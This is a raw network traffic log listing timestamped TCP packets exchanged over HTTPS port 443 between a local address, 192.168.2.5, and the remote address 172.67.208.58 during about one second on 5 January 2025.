Jan 5, 2025 17:55:44.381441116 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381457090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381489038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.381494045 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.381521940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.381541014 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.383723021 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.383738995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.383800030 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.383806944 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.383846045 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.383979082 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.383994102 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.384041071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.384047031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.384088993 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.384241104 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.384260893 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.384310007 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.384316921 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.384358883 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469172955 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469192982 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469271898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469286919 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469310045 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469331026 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469382048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469397068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469434023 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469439983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469476938 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469492912 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469615936 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469630003 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469676971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469683886 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469705105 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469717979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469922066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469934940 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.469970942 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.469978094 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.470005989 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.470019102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.470169067 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.470185995 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.470233917 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.470242023 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.470278025 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.472313881 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.472330093 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.472397089 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.472404003 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.472443104 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.472724915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.472742081 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.472800016 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.472806931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.472843885 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.473020077 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.473036051 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.473081112 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.473088026 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.473125935 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.557867050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.557890892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.557935953 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.557949066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.557992935 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.558209896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558226109 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558279991 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.558286905 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558320999 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.558455944 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558473110 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558520079 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.558526993 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558559895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.558672905 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558687925 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558734894 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.558741093 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558779955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.558933020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558955908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.558984995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.558993101 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.559015036 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.559021950 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.561043024 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.561058044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.561093092 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.561099052 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.561125040 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.561136961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.561284065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.561301947 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.561336994 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.561343908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.561368942 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.561383009 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.561501980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.561553955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.561561108 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.605623007 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.646410942 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.646430016 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.646472931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.646482944 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.646517038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.646534920 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.646729946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.646749020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.646781921 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.646789074 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.646821022 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.646836042 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.646960020 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.646976948 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647007942 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647015095 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647039890 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647052050 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647193909 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647221088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647247076 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647252083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647267103 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647301912 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647408009 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647423983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647463083 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647469044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647485018 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647512913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647628069 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647644997 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647679090 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647685051 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.647708893 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.647727013 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.649750948 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.649765968 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.649800062 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.649806976 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.649828911 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.649842024 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.650074005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.650089025 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.650120020 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.650125980 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.650146961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.650171041 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735266924 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735282898 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735337973 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735368013 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735382080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735403061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735507965 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735522985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735558987 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735570908 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735594034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735605955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735706091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735722065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735759974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735766888 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.735795975 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.735816956 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.736001015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736018896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736073017 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.736080885 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736114979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.736279011 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736294985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736330986 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.736337900 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736362934 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.736376047 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.736512899 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736536026 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736569881 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.736577034 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.736601114 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.736614943 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.738501072 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.738514900 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.738554955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.738560915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.738596916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.738616943 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.739017963 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.739034891 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.739088058 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.739094973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.739132881 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.863940001 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.863957882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864003897 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864021063 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864034891 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864058971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864161015 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864175081 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864214897 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864222050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864262104 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864470005 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864486933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864522934 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864530087 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864553928 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864567995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864619970 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864643097 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864679098 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864686012 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.864722967 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.864743948 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.865227938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865242004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865291119 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.865298033 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865309000 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865345955 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865350962 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.865358114 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865386963 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.865402937 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.865546942 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865564108 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865617990 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.865624905 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.865689039 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.866638899 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.866655111 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.866692066 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.866698027 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.866723061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.866738081 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.866780996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.866795063 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.866827011 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.866833925 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.866858006 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.866873026 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.952857971 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.952881098 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.952991009 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.953005075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953041077 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.953068972 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953087091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953118086 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.953124046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953151941 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.953165054 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.953243017 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953264952 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953314066 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.953321934 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953360081 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.953911066 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953926086 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.953986883 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.953993082 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.954034090 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.954147100 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.954163074 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.954199076 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.954205990 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.954227924 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.954243898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.954405069 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.954420090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.954468012 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.954474926 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.954511881 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.955287933 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.955302954 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.955362082 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.955368996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.955404997 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.955588102 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.955601931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.955648899 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.955656052 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:44.955702066 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:44.978439093 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.041555882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.041579008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.041732073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.041752100 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.041801929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.041826010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.041852951 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.041860104 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.041877985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.041925907 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.042038918 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.042053938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.042089939 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.042097092 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.042738914 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.042757034 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.042807102 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.042814016 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.042844057 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.042865992 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.043071985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.043087006 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.043142080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.043150902 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.043317080 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.043334007 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.043386936 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.043395042 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.043447971 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.043951988 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.043968916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.044027090 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.044034004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.044143915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.044163942 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.044194937 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.044202089 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.044224977 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.044250011 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205344915 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.205368042 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.205425024 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205436945 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:45.205468893 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205482960 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:45.205497026 CET	443	49843	172.67.208.58	192.168.2.5
